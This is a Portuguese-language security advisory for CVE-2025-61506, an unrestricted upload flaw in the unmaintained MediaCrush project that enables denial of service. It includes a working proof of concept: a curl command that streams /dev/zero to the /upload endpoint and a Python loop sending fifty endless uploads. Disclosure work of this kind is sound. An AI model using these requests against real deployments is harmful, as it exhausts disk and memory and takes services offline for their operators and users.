
Unrestricted File Upload DoS Vulnerability discovered in MediaCrush thru 1.0.1(CVE-2025-61506)
Um problema foi descoberto no MediaCrush até a versão 1.0.1 que permite que atacantes remotos não autenticados enviem arquivos arbitrários de qualquer tamanho para o endpoint /upload. Vulnerabilidade: Upload de Arquivo Irrestrito (CWE-434) CVE ID: CVE-2025-61506 DISCOVRED : 18 setembro ASSIGNED : 9 outubro Componente Afetado: mediacrush/upload.py, app.py (endpoint de upload Flask) Versões Afetadas: Todas as versões (último commit 8f4b2a3f, por volta de 2014) Impacto: Negação de Serviço (DoS) Gravidade: CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
O endpoint /upload do MediaCrush (mediacrush/upload.py) permite que atacantes não autenticados enviem arquivos arbitrariamente grandes sem limites de tamanho, validação de tipo MIME ou limitação de taxa. Isso leva à negação de serviço ao esgotar o armazenamento em disco (padrão ./storage), sobrecarregar os workers Redis e Celery e travar a aplicação. A vulnerabilidade afeta todas as instâncias do MediaCrush (locais ou implantadas em rede) devido à falta de validação de entrada no manipulador de upload baseado em Flask. Como o projeto não é mantido (última atualização em 2014), não existe correção.
Configure uma instância local do MediaCrush (conforme README: Python 2.7, Flask 0.10.1, Redis, Celery).
Execute o aplicativo (python app.py) e o worker Celery (celery worker -A mediacrush -Q celery,priority).
Execute o seguinte para enviar um arquivo grande:
curl -F "file=@/dev/zero" http://localhost:5000/upload
Ou use um script Python para múltiplos envios:
import requests url = "http://localhost:5000/upload" for i in range(50): with open("/dev/zero", "rb") as f: files = {"file": (f"huge{i}.mp4", f, "video/mp4")} r = requests.post(url, files=files) print(f"Upload {i}: {r.status_code} - ID: {r.json().get('id', 'Failed')}")
Resultado: O armazenamento em disco (por exemplo, /tmp/storage) enche, os workers Celery travam devido a OOM (falta de memória), e novos uploads falham (HTTP 500/413). O uso de memória do Redis dispara.
Imponha limites de tamanho de upload no lado do servidor usando a configuração MAX_CONTENT_LENGTH do Flask e as diretivas client_max_body_size do servidor web (por exemplo, nginx). Implemente validação adequada de arquivos e limitação de taxa para evitar esgotamento de recursos.
Como o projeto não é mantido, os usuários devem bifurcar (fork) e corrigir ou evitar a implantação.
MediaCrush Repository: https://github.com/MediaCrush/MediaCrush
CWE-434: https://cwe.mitre.org/data/definitions/434.html
Descoberto durante uma auditoria de bug bounty de projetos de código aberto.
Nenhum CVE anterior encontrado para o MediaCrush (NVD, avisos do GitHub pesquisados).
Projeto não mantido; nenhuma resposta do fornecedor esperada ([email protected], IRC #mediacrush inativo).